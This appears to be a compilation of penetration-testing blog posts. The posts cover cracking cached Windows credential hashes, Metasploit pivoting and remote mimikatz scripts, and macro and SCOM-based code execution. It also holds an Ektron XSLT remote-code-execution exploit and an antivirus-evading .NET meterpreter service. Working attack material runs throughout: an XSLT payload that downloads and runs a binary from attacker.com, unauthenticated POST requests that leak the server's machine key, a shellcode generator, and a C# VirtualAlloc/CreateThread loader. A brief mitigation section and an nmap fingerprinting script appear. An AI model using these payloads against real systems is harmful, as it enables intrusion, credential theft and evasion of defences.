MSCash Hash Primer for Pentesters

Pass the hash is dead. Just kidding. Although Windows 8.1/2012R2 has some good improvements to help slow down lateral movement on a Windows network, pass the hash style attacks are still obviously a good way to spread out as a pentester/attacker. Here’s the scenario to keep in mind: you’re a local admin on a domain joined Server 2012R2 box and want to spread out.

Let me expand a little on why you’d ever want to look at MS Cache.

In our scenario above, first you might think mimikatz. LSASS is a protected process now, but that might not matter much. Mimikatz has a legitimately signed driver. Okay, this is great. But maybe the ops team has a rule looking for drivers being loaded and you don’t want to load a driver. Or worse, maybe everyone has logged off of the box and they’re only logging in with Network login. With 2008R2, credentials seemed to usually be cached in LSASS the next reboot, but this has changed in 2012R2. Now when users log out, their credentials are no longer cached (afaik). As an aside, this might be a good thing to keep in mind with disconnected RDP sessions since the users are still logged in.

Without touching LSASS, you can also use token impersonation to get a similar effect. But this still requires a user to be logged in to take their tokens. There are also some nice things about eventually getting a hash or cleartext password rather than a token. Like even if a token can be used on that domain, a cleartext hash allows you to check for password reuse (or look for password variants if you can get the cleartext).

There are a lot of ways to go even if nobody’s logged in. You could be a pirate, trigger AV and see if an ops user logs in interactively. You could setup an NTLM relayer to pass credentials of something, maybe the Qualys box. But one thing that’s often overlooked (at least by old me) is MS cache.

An Overview of MS Cache

The terminology can be confusing. Although the MS cache hash is a hash of the user’s password, it’s a distinct value from the user’s hash that you’d use to directly pass the hash. You can’t expect to forward it and for things to work. A good overview is on the jtr wiki here.

What happens when you are in front of a Windows machine, which has a domain account and you can’t access the domain (due to network outage or domain server shutdown)? Microsoft solved this problem by saving the hash(es) of the last user(s) that logged into the local machine. These hashes are stored in the Windows registry, by default the last 10 hashes.

The number of logins cached can be configured with group policy, as described here: http://technet.microsoft.com/en-us/library/jj852209.aspx. The passwords seem to be cached this way with any interactive login (not just local).

The algorithm for this is well understood. It’s PBKDF2(HMAC-SHA1, 10240, DCC1, username). Python has an implementation here

>>> from passlib.hash import msdcc2
>>> hash = msdcc2.encrypt("Password123", user="test2")
>>> print hash
'd7f91bcdec7c0df39396b4efc81123e4'

Anyway. The only source of entropy for these MS cache hashes is the username. To be clear, the salt does not include the domain, the computer, etc. This is better than a normal hash which does not include the username either, but it is still not great. To illustrate this concept:

# Machine: client1.rlundtest2.local // Server 2012R2
# User: test2
# password is Password123
# NT MSCASH Hash: D7F91BCDEC7C0DF2929B4EFC81123E4
# NT Hash: 58a478135a93ac3bf058a5ea0e8fdb71

# Machine: client2.differentdomain.local // Server 2008R2
# User: test2
# password is Password123
# NT MSCASH Hash: D7F91BCDEC7C0DF2929B4EFC81123E4
# NT Hash: 58A478135A93AC3BF058A5EA0E8FDB71

# Machine: client1.rlundtest2.local // Server 2012R2
# User: mopey
# password is Password123
# NT MSCASH Hash: 9721A87936592047EEF768B9AE603757
# NT Hash: 58a478135a93ac3bf058a5ea0e8fdb71

With the normal NT hashes, the hash is always the same given a password (i.e. This is why pass the hash works across domains). With MS cache hashes it takes the username as entropy, but usernames aren’t random. If the “Administrator” account has the same password across domains, this MS cache hash is constant. Besides builtins like Administrator, this is also interesting in organizations that have several separate domains, but usernames are constant between them.

Another thing to hammer in again. The NT Hash seems to be cached in server2012R2 only when the user is logged in, and in server 2008R2 until the next reboot. But (if configured to cache things, like it does by default) the MSCache hash is stored in a registry hive and will persist across reboots.

Extracting and using the Cache hashes

These hashes are stored in an obfuscated way in the registry, and getting at them is comparable to getting at local SAM accounts. Cachedump is one tool, although the source code seems to 404. Quarkspwdump is another tool, use “QuarkspwDump.exe -dhdc”. Metasploit also has a post exploit module, cachedump, that does this.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > background
[*] Backgrounding session 1...
msf exploit(psexec) > use post/windows/gather/cachedump
msf post(cachedump) > show options
Module options (post/windows/gather/cachedump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DEBUG    false            yes       Debugging output
   SESSION                   yes       The session to run this module on.

msf post(cachedump) > set SESSION 1
SESSION => 1

msf post(cachedump) > run

[*] Executing module against CLIENT1
[*] Cached Credentials Setting:  - (Max is 50 and 0 disables, and 10 is default)
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[*] Obtaining LK$KM...
[*] Dumping cached credentials...
[*] Hash are in MSCACHE_VISTA format. (mscash2)
[*] MSCACHE v2 saved in: /root/.msf4/loot/20140201152655_default_192.168.137.147_mscache2.creds_064400.txt
[*] John the Ripper format:
# mscash2
...
test2:$DCC2$#test2#d7f91bcdec7c0df39396b4efc81123e4:RLUNDTEST2.LOCALt:RLUNDTEST2

This theoretically is put in a format that john the ripper understands, but unfortunately John on Kali doesn’t seem to understand the format (it will run, but even with a wordlist the password doesn’t crack). For better luck, simply put it in “username:hash”

$ cat mscash.txt
test2:d7f91bcdec7c0df39396b4efc81123e4
$ john --format=mscash2 ./mscash.txt
Loaded 1 password hash (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 4x])
Password123      (test2)
guesses: 1  time: 0:00:00:00 DONE (Mon Feb  3 09:03:34 2014)  c/s: 14.28  trying: password - Password123
Use the "--show" option to display all of the cracked passwords reliably

Other crackers seem to support this format also, like hashcat (untested) and Cain.

cain

Slowness (update)

I’ve seen some twitter activity around how this is “new pass the hash on windows 8.1″. This isn’t the case, although I do poke fun at the “pass the hash is dead” stuff. When I first published this, I should have expanded on how slow this cracking can be. JTR wiki says

The far from optimized MSCash2 algorithm provided in the sample code below and used in the corresponding MSCash2 JtR patch generates about 330 DCC2 hashes/sec (MSCash2) on an Intel Core2 Quad CPU Q6700, compared to 58.8 millon DCC1 hashes/sec (MSCash). In other words, incremental brute-force attacking for different search spaces, depending on the character set and the password length, will take ages. So it is a good idea to do some intelligent password guessing when attacking DCC2 hashes, i.e. rule-based dictionary and probabilistic attacks.

By default a lot of these could also be pre computed and put into rainbow tables. Although the iteration count is apparently configurable and could make this not practical.

</update>
The end, thanks for reading! Are greetz still a thing? Thanks to my friend Dave for help on this.

A few Metasploit Post Exploit Resource Scripts

Some of this code is fairly ugly and copy/pasted between files. It is meant for one-offs within a pentest, not necessarily extended and built on. Still, it’s been useful and it might be helpful for those wanting to automate similar things. Plus it was built for real, not just in a lab, so at least it works sometimes :)

Spooler Migrate

[code]

This was inspired (and some bits copied) from the smart_migrate module. smart_migrate migrates to explorer.exe or starts an instance. Sometimes this isn’t what you want to do. Say you’re running as system – explorer likely is not running in this context, and starting it as system might be suspicious. Also, in my testing when meterpreter timed out it would crash the process you’re executing in, so sometimes it needed to be restarted (not to mention you might not want to migrate to something more critical for persistence).

This module checks if a print spooler is running and migrates it (and if it’s not started, it starts it, then migrates to it).

Usage Example:

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > background 
[*] Backgrounding session 1...
msf exploit(psexec) > setg SESSION 1
SESSION => 1
msf exploit(psexec) > resource spooler_migrate.rc 
[*] Processing spooler_migrate.rc for ERB directives.
[*] resource (spooler_migrate.rc)> Ruby Code (917 bytes)
[*] migrating to spooler
[*] done migrating
msf exploit(psexec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getpid 
Current pid: 1248
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session     User                          Path
 ---   ----  ----               ----  -------     ----                          ----
 0     0     [System Process]         4294967295                                
...
 1248  488   spoolsv.exe        x86   0           NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe

It should not take much effort to customize the script, for example, to set it as autorun or to have it run on all sessions with system.

Pivoted Mimikatz through PS Remoting or PSExex

[code]

During a pentest, it’s fairly common to have code execution on one host and using that host to pivot. Behold, visio skillz

pivotpirate

Although it’s usually nicer to do everything through remote powershell, there are times when it’s not available. In those cases, it might be necessary to fall back on something else like psexec.

This script does the following

  1. Pivots through a session
  2. Port scans a few ports to see what services are up
  3. Runs mimikatz through remote powershell , if it’s available. This is better because the ps1 is never written to disk (this script writes powershell to our pivot box, but nothing ever touches the target box). See my coworker’s blog on the powershell details here.
  4. If remote powershell isn’t available, copy the powershell script over and psexec

Additionally, this script takes user/pass arguments. This is useful, for example, if you’re executing as SYSTEM on a box nobody’s logged into but you’d like to execute as code on another box as a domain user.

One obvious improvement is it could be parallized so you’re running on multiple hosts at once. This wasn’t an issue for me because my scale wasn’t that size, and this script should work fine for a few thousand hosts as long as you’re willing to let it run for a few hours.

msf exploit(psexec) > setg RHOST_FILE res_data/hostfile.txt
RHOST_FILE => res_data/hostfile.txt
msf exploit(psexec) > setg SESSION 1
SESSION => 1
msf exploit(psexec) > setg duser TEST.local\\mopey
duser => TEST.local\mopey
msf exploit(psexec) > setg dpass password
dpass => password
msf auxiliary(smb_enumshares) > resource mimikatz_remote.rc 
[*] Processing mimikatz_remote.rc for ERB directives.
[*] resource (mimikatz_remote.rc)> Ruby Code (8313 bytes)
#####################
# Beginning AD.rlundtest.local
#####################
#####################
# Routing through Session 1
#####################
SESSION => 1
HOSTNAME => AD.rlundtest.local

[*] AD.rlundtest.local resolves to 192.168.137.100
[*] Post module execution completed
NETMASK => 255.0.0.0
SUBNET => 192.168.137.100
[*] Running module against CLIENT5
[*] Adding a route to 192.168.137.100/255.0.0.0...
[*] Post module execution completed
#####################
# PORTSCANNING AD.rlundtest.local
#####################
RHOSTS => 192.168.137.100
PORTS => 5985,5986,445
[*] 192.168.137.100:5985 - TCP OPEN
[*] 192.168.137.100:445 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
AD.rlundtest.local
SMB is enabled. Use this if remote ps is disabled
Powershell looks enabled, using that rather than SMB
#####################
# Running Mimikatz on RLUNDTEST.local\mopey on  AD.rlundtest.local
#####################
uploading to C:\Windows\TEMP\hOllYmPh.ps1
uploading to /tmp/Invoke-ReflectivePEInjection.ps1.tmp
Executing the following command over remote powershell
cmd /c echo "." | powershell -Executionpolicy bypass -Command "& C:\Windows\TEMP\hOllYmPh.ps1  >> "C:\Windows\TEMP\snWgndjt"
saving output in /root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt
Cleaning remote files
#####################
# Cleaning up: Resetting routes
#####################
msf auxiliary(tcp) > cat //root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt
[*] exec: cat //root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt

Authentication ID         : 0;996
Authentication Package    : Negotiate
Primary user              : AD$
Domain authentication     : RLUNDTEST
....

For the psexec part of this to work I submitted three pull requests to fix minor issues in how metasploit lists files. Two hav been accepted (1 2), but the other has not (at least not yet). Feel free to use that branch, or you could always use another psexec payload of your choice. The old psexec_command will also work for some payloads, they just can’t take a long time or return binary data.

This should be easy to customize and can be quite useful. Say you’d like to execute a powershell script through remote powershell, wmic, or psexec (in that order of preference) but don’t know what’s enabled. You can run a modified version of this script and hit a bunch of hosts.

Pivoting and Looking for Password Reuse between things

[code]

Another pivoting example. Say you’ve pwned one domain, like you’ve dumped the hashes from the domain controller, but want to check for password reuse on the second. This is a script for that type of scenario. Looking at the diagram below, you might say, but there’s a brick wall in front of pivot pirate. But aha, there are red arrows.

pivotpirate2

  1. Pivots through a session
  2. Picks a random host from a hostfile
  3. Checks port 445
  4. Runs smb_login through session

Usage is similar to the last couple scripts. Additionally, it could be sped up significantly if it were parallelized, but one hash at a time was plenty fast for my use.

Yet another VBS pwncode generator

[gen_vbs.py]

The reason why there are tools like this is (probably) because nobody likes writing their malicious stuff in vbs, but sometimes vbs is the only way you can execute code.

Here are the two vbscript shellcode things I’ve used in the past: one from didierstevens, and one in metasploit. A common theme is that both of these seem to basically make a call to virtualalloc, move shellcode there, and execute it. They also both seem to flag on my AV, which after taking a bunch of stuff out, seems to just trigger on virtualalloc in vbscript whether or not it’s malicious (but I’m not 100% sure what it’s flagging on).

My script gen_vbs.py is slightly different. It will encode a file as base64 as part of the script, and then write that file to disk (this could be an exe, powershell or more vbs!). It can then execute that file. This allows quite a bit of flexability. I’ve put the script on github.

Office Doc Macros Example

This will walk through creating vbscript that will start calc when someone opens an Office document after they click through a warning. With very slight modifications you could connect back meterpreter, which I’ll show the steps in the scom example after this.

First, generate the vbscript (there isn’t much here since all it’s doing is executing calc and has no file to write)

#python gen_vbs.py --cmd="C:\\Windows\\System32\\calc.exe" --office --debug

Option Explicit

Const TypeBinary = 1
Const ForReading = 1, ForWriting = 2, ForAppending = 8

Private Function getVar(mvar)
  Dim objshell
  Dim envObj
  Set objshell = CreateObject("WScript.Shell")
  Set envObj = objshell.Environment("PROCESS")
  getVar = envObj(mvar)
End Function
Private Sub execfile()
  Dim cmd
  cmd = "C:\Windows\System32\calc.exe"
  cmd = Replace(cmd, "%TEMP%", getVar("temp"))
  cmd = Replace(cmd, "%SYSTEMROOT%", getVar("windir"))
  Dim runObj
  Set runObj = CreateObject("Wscript.Shell")
  runObj.run cmd, 0, true
End Sub
  
Sub AutoOpen()
   execfile
End Sub

Notice the AutoOpen() command, which will trigger when a word document is opened (if the settings allow it). There are several other places to trigger functions, such as AutoClose(). Here are several.

Anyway, create a new word document. I’m using Office 2013. Then go to view -> macros.

viewmacro

Click create, and paste the vbscript in the file.

What happens when a user opens it depends on their macro settings. The default is to “Disable all macros with notification”, so they’ll probably get a nasty warning like this.

disabled_macros

If they open the document and enable macros, calc will run. It’s one of the oldest social engineer things on earth.

macro_run

SCOM Example

My good friend Justin gave an awesome talk at defcon. One of the examples he gave was code execution on the domain controller through a compromised SCOM monitoring server. SCOM boxes are often more exposed than a domain controller, and can run arbitrary code on other boxen (like domain controllers). But guess what? They do it through vbscript.

First let’s figure out what we want to execute. I’m using powersploit as the stage one for a reverse metasploit meterpreter shell. So I grab Invoke-Shellcode and add the following line to the ps1

Invoke-Shellcode -Force -Payload windows/meterpreter/reverse_https -Lhost 192.168.3.154 -UserAgent "Microsoft Word" -Lport 443

Next, let’s generate our vbscript so the powershell executes on the server we want. Call my script like this

# python gen_vbs.py --inputFile ./Invoke-Shellcode.ps1 \
--writeFilePath="%TEMP%\\invoke_ping.ps1" \
-cmd="%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe \
-executionpolicy bypass  %TEMP%\\invoke_ping.ps1" > output.vbs

and set up a reverse meterpreter listener

msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST x.x.x.x
LHOST => 192.168.138.154
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.138.154:443/
[*] Starting the payload handler...

Justin has a walkthrough of this on the youtube video from his blog, but the quick version is:Start SCOM console, connect to the server with the account, go to “Authoring -> Tasks -> Create a new task”

scom1

Follow the prompts. We want to run this on Windows servers. Let’s name in “Extended Ping”. Then paste the vbscript generated by the tool and create the task.

scom3

Go to the “Monitoring” tab, and now you’re free to execute our new task on any servers we’re monitoring

scom4

Run, and we get our meterpreter shell as system.

meterpreter

CVE-2012-5357,CVE-1012-5358 Cool Ektron XSLT RCE Bugs

In early 2011, I met a fully updated 8.02SP2 Ektron and it was a bunch of bugs at first sight. Ektron is a CMS. It isn’t a household name like wordpress, but it’s actually used on quite a few very big enterprise-like sites. Subsequently a few of these bugs have been found independently, but to my knowledge my favorites (CVE-2012-5357,CVE-1012-5358) have never been publicly written about.

I was originally planning to talk about these in our New Ways I’m Going to Hack your Web App talk which came over nine months after I reported the issue. In fact, it was a part of the talk at Bluehat, where it was a hit when I used Metasploit for the demo :)

Unfortunately, there was some pressure at the time to keep this out of the 28c3 and Blakhat AD versions of the talk. Booo. But on October 15th 2012, MSVR released an advisory, so at long last I’ll give some technical details on a couple of the more interesting bugs I found.

CVE-5357 – Unauthenticated code execution in the context of web server

The root cause of this is that Ektron processed user-controlled XSL from a page that required no auth. They used the XslCompiledTransform class with enablescript set to true. This scripting allows the user to execute code, as documented here.

Here are hack steps to get a meterpreter shell using this:

  1. Create the shellcode we’ll use using the following. At the time of the exploit, naming to .txt seemed to evade antivirus, although at some point this stopped working reliably.
  2. ./msfpayload windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=80 r | ./msfencode –t exe –o output.txt
    
  3. Upload output.txt to http://attacker.com/output.txt
  4. Start a multistage metasploit listener from msfconsole on a reachable attacker box.
  5. use exploit/multi/handler
    set payload windows/meterpreter/reverse_http
    set LHOST <listen_address>
    set LPORT 80
    
  6. Upload the following code to http://attacker.com/xsl.xslt
  7. <?xml version='1.0'?>
    <xsl:stylesheet version="1.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:msxsl="urn:schemas-microsoft-com:xslt"
          xmlns:user="http://mycompany.com/mynamespace">
      <msxsl:script language="C#" implements-prefix="user">
        <![CDATA[
    public string xml()
      {
                System.Net.WebClient client = new System.Net.WebClient();
                client.DownloadFile(@"http://attacker.com/output.txt", @"C:\\windows\\TEMP\\test92.txt");
                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.FileName = @"C:\\windows\\TEMP\\test92.txt";
                p.Start(); 
               return "hai";
    
      }
    
    ]]>
      </msxsl:script>
      <xsl:template match="/">
        <xsl:value-of select="user:xml()"/>
      </xsl:template>
    </xsl:stylesheet>
    
    
  8. Do the following post request, which will cause ektron to process the xsl. Ektron did check the referer, but it did NOT check any auth info, and there is no secret information in this POST request at all. Notice the xslt=http://attacker.com/xsl.xslt which points to the xslt file we created in step 4. When processed, this will connect back to our listener we setup in step 1.
  9. POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
    Host: ektronsite
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip, deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: https://ektronsite
    
    xml=AAA&xslt=http://attacker.com/xsl.xslt &arg0=mode%3Ddesign&arg1=skinPath%3D%2FWorkArea%2Fcsslib%2FContentDesigner%2F& arg2=srcPath%3D%2FWorkArea%2FContentDesigner%2F&arg3=baseURL%3Dhttp%3A%2F%2Fektronsite& arg4=LangType%3D1033& arg5=sEditPropToolTip%3DEdit%20Field%3A
    
    

One of the early mitigations was to limit egress access, but it turns out you can just as easily specify the xsl inline. Another early mitigation was to IP restrict access to the Ektron management console. However, Ektron had multiple clientside vulnerabilities. We were able to blend clientside bugs with this to still exploit.

CVE-5358 Local File Read

After 5357 was fixed, I was testing that fix, and it turns out there was another related vulnerability. They had configured the xsl with enableDocumentFunction set to true. This vulnerability allows an unauthenticated attacker to read arbitrary files, such as web.config and machine.config. This would allow an attacker to perform several attacks, like bypassing authentication, modifying viewstate, bringing down the server, etc. I could spend a lot of time here, but we can agree reading the machinekey is bad.

Hack steps to retrieve the machinekey:

  1. URL encode the following xsl
  2. <?xml version='1.0'?>
    <xsl:stylesheet version="1.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:msxsl="urn:schemas-microsoft-com:xslt"
          xmlns:user="http://mycompany.com/mynamespace">
      <xsl:template match="/">
        <xsl:value-of select="document('g:\EKTRON\web.config')//machineKey/@decryptionKey"/>
        <xsl:value-of select="foo"/>
      </xsl:template>
    </xsl:stylesheet>
    
  3. Do the following POST. Note this is unauthenticated
  4. POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
    Host: ektronsite
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: https://ektronsite
    Content-Length: 1217
    
    xml=%3Cp%3Eaaaaa%3C%2Fp%3E&xslt=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%27%31%2e%30%27%3f%3e
    %0a%3c%78%73%6c%3a%73%74%79%6c%65%73%68%65%65%74%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%0a%20
    %20%20%20%20%20%78%6d%6c%6e%73%3a%78%73%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72
    %67%2f%31%39%39%39%2f%58%53%4c%2f%54%72%61%6e%73%66%6f%72%6d%22%0a%20%20%20%20%20%20%78%6d%6c%6e
    %73%3a%6d%73%78%73%6c%3d%22%75%72%6e%3a%73%63%68%65%6d%61%73%2d%6d%69%63%72%6f%73%6f%66%74%2d%63
    %6f%6d%3a%78%73%6c%74%22%0a%20%20%20%20%20%20%78%6d%6c%6e%73%3a%75%73%65%72%3d%22%68%74%74%70%3a
    %2f%2f%6d%79%63%6f%6d%70%61%6e%79%2e%63%6f%6d%2f%6d%79%6e%61%6d%65%73%70%61%63%65%22%3e%0a%20%20
    %3c%78%73%6c%3a%74%65%6d%70%6c%61%74%65%20%6d%61%74%63%68%3d%22%2f%22%3e%0a%20%20%20%20%3c%78%73
    %6c%3a%76%61%6c%75%65%2d%6f%66%20%73%65%6c%65%63%74%3d%22%64%6f%63%75%6d%65%6e%74%28%27%65%3a%5c
    %45%4b%54%52%4f%4e%5c%77%65%62%2e%63%6f%6e%66%69%67%27%29%2f%2f%6d%61%63%68%69%6e%65%4b%65%79%2f
    %40%64%65%63%72%79%70%74%69%6f%6e%4b%65%79%22%2f%3e%0a%20%20%20%20%3c%78%73%6c%3a%76%61%6c%75%65
    %2d%6f%66%20%73%65%6c%65%63%74%3d%22%66%6f%6f%22%2f%3e%0a%20%20%3c%2f%78%73%6c%3a%74%65%6d%70%6c
    %61%74%65%3e%0a%3c%2f%78%73%6c%3a%73%74%79%6c%65%73%68%65%65%74%3e
    
  5. In the response the decryptionkey will be echoed back F42A9567917AC601F476CB26731E4E116351E9465DBDB32A35DA23C01F4ED963

Detection

Remember in early 2011 when nmap scripting was fairly new? This was one of my first attempts at that. It isn’t much, but it helped me fingerprint the instances of ektron we had.

description = [[
Attempts to check if ektron is running on one of a few paths
]]
 
---
-- @output
-- 80/tcp open  http
-- |_ http-login-form: HTTP login detected
 
-- HTTP authentication information gathering script
-- rev 1.0 (2011-02-06)
 
author = "Rich Lundeen"
 
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 
categories = {"webstersprodigy"}
 
require("shortport")
require("http")
require("pcre")
 
portrule = shortport.port_or_service({80, 443, 8080}, {"http","https"})
 
parse_url = function(url)
  local re = pcre.new("^([^:]*):[/]*([^/]*)", 0, "C")
  local s, e, t = re:exec(url, 0, 0)
  local proto = string.sub(url, t[1], t[2])
  local host = string.sub(url, t[3], t[4])
  local path = string.sub(url, t[4] + 1)
  local port = string.find(host, ":")
  if port ~= nil then
    --TODO check bounds, sanity, cast port to an int
    local thost = string.sub(host, 0, port-1)
    port = string.sub(host, port+1)
    host = thost
  else
    if proto == "http" then
      port = 80
    elseif proto == "https" then
      port = 443
    end
  end
  return host, port, path
end
 
--attempting to be compatible with nessus function in http.inc
--in this case, host is a url - it should use get_http_page
--get_http_page = function(port, host, redirect)
 
--port and url are objects passed to the action function
--redirect an integer to prohibit loops
get_http_page_nmap = function(port, host, redirect, path)
  if path == nil then
    path = "/"
  end
  if redirect == nil then
    redirect = 2
  end
  local answer = http.get(host, port, path)
  if ((answer.header.location ~= nil) and (redirect > 0) and
      (answer.status >=300) and (answer.status < 400)) then
    nhost, nport, npath = parse_url(answer.header.location)
    if (((nhost ~= host.targetname) and (nhost ~= host.ip) and
        (nhost ~= host.name)) or nport ~= port.number ) then
      --cannot redirect more, different service
      return answer, path
    else
      return get_http_page_nmap(port, host, redirect-1, npath)
    end
  end
  return answer, path
end
 
action = function(host, port)
  local ektronpaths = {
  "/cmslogin.aspx",
  "/login.aspx",
  "/WorkArea/"
  }
  for i,ektronpath in ipairs(ektronpaths) do
    local result, path = get_http_page_nmap(port, host, 3, ektronpath)
    local loginflags = pcre.flags().CASELESS + pcre.flags().MULTILINE
    local loginre = {
       pcre.new("ektron" , loginflags, "C") }
     
    local loginform = false
    for i,v in ipairs(loginre) do
      local ismatch, j = v:match(result.body, 0)
      if ismatch then
        loginform = true
        break
        end
    end
    if loginform then
      return "Ektron instance likely at " .. path
    end
  end
end

Mitigation

Supposedly the latest version of Ektron has patched this. I don’t have a version to work on at the moment so I’m unable to personally verify. Regardless – be sure to upgrade. With Ektron I’d also highly recommend segregating the management piece so that it’s not exposed. I’d recommend only trusting people to author content that you trust with the server. Also, people writing content probably shouldn’t be allowed to open Facebook in another browser tab…

For XSL in general – there are a lot of bad things attackers can do if you process untrusted XSL. I recommend trying to avoid processing untrusted XSL at all unless you really know what you’re doing. With .NET xslcompiledtransform for example, even if you disable scripting and enableDocumentFunction, it’s still difficult to prevent things like DoS attacks. A good rule of thumb is to treat consuming XSL like you would treat running code, because that’s essentially what it is.

AV Evading Meterpreter Shell from a .NET Service

Update: I tried this in April 2013, and it still works quite well if you obfuscate the .net (e.g. using dotfuscator or there are plenty of free ones). I still use the generic idea for SMB type things, like NTLM relaying. That said, for simply evading AV, I highly recommend going the powershell route instead. Powersploit has meterpreter connectback built in, so you don’t even need to do anything. It’s awesome https://github.com/mattifestation/PowerSploit

Quite a few successful attacks rely on creating a malicious service at some point in the attack chain. This can be very useful for a couple reasons. First, in post exploitation scenarios these services are persistent, and (although noisy) these can be set to start when a connection fails or across reboots. Second, malicious services are also an extremely common way that boxes are owned in the first place – it’s part of how psexec and smb NTLM relaying work. In Metasploit by default, these are exploit modules most commonly used by selecting from their available payloads. One thing people may not realize is that these payloads are just turned into service binaries and then executed. You don’t need to necessarily use low level machine code – your “shellcode” can just be written in .NET if you want.

The strategy I’ll use here is to create a stage 1 .NET meterpreter service that connects back to our stage 2 host.

Maybe the easiest way to create a service is to use Visual Studio. Go to new project, and select Window Service, which should give you a nice skeleton.

Generate our stage 1 and put it in a C# byte array format. I wrote a python script to do this.

#!/usr/bin/python

###
# simple script that generates a meterpreter payload suitable for a .net executable
###

import argparse
import re
from subprocess import *

parser = argparse.ArgumentParser()
parser.add_argument('--lhost', required=True, help='Connectback IP')
parser.add_argument('--lport', required=True, help='Connectback Port')
parser.add_argument('--msfroot', default='/opt/metasploit/msf3')
args = parser.parse_args()


def create_shellcode(args):
    msfvenom = args.msfroot + "/msfvenom"
    msfvenom = (msfvenom + " -p windows/meterpreter/reverse_tcp LHOST=" + args.lhost + " LPORT=" + args.lport + " -e x86/shikata_ga_nai -i 15 -f c")
    msfhandle = Popen(msfvenom, shell=True, stdout=PIPE)
    try:
        shellcode = msfhandle.communicate()[0].split("unsigned char buf[] = ")[1]
    except IndexError:
        print "Error: Do you have the right path to msfvenom?"
        raise
    #put this in a C# format
    shellcode = shellcode.replace('\\', ',0').replace('"', '').strip()[1:-1]
    return shellcode

print create_shellcode(args)

Next, we can copy/paste our shellcode into a skeleton C# service, and execute it by virtualallocing a bit of executable memory and creating a new thread. One of my buddies pointed me at http://web1.codeproject.com/Articles/8130/Execute-Native-Code-From-NET, which was helpful when writing this.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Runtime.InteropServices;

namespace metservice
{
    public partial class Service1 : ServiceBase
    {
        public Service1()
        {
            InitializeComponent();
        }

        protected override void OnStart(string[] args)
        {
            // native function's compiled code
            // generated with metasploit
            byte[] shellcode = new byte[] {
0xbf,0xe2,0xe6,0x44,.... (stage 1 shellcode)
                };

            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data


            IntPtr pinfo = IntPtr.Zero;

            // execute native code

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);

      }

        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;


        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress,
                              UInt32 dwSize, UInt32 dwFreeType);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

          );
        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
          );
        [DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle(

          string moduleName

          );
        [DllImport("kernel32")]
        private static extern UInt32 GetProcAddress(

          IntPtr hModule,
          string procName

          );
        [DllImport("kernel32")]
        private static extern UInt32 LoadLibrary(

          string lpFileName

          );
        [DllImport("kernel32")]
        private static extern UInt32 GetLastError();


        protected override void OnStop()
        {
        }
    }
}

We still need to create our stage 2 listener on our attacker box from within metasploit.

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LPORT 443
...

Now we have our service, which when added and started will connect back to our listening attacker box. At which point we have a meterpreter shell running as system.

This is close to the exact same thing I did here with my http_ntlmrelay module. Using that, we have two steps. One is uploading our malicious .net service, and the second is starting that service.

use auxiliary/server/http_ntlmrelay
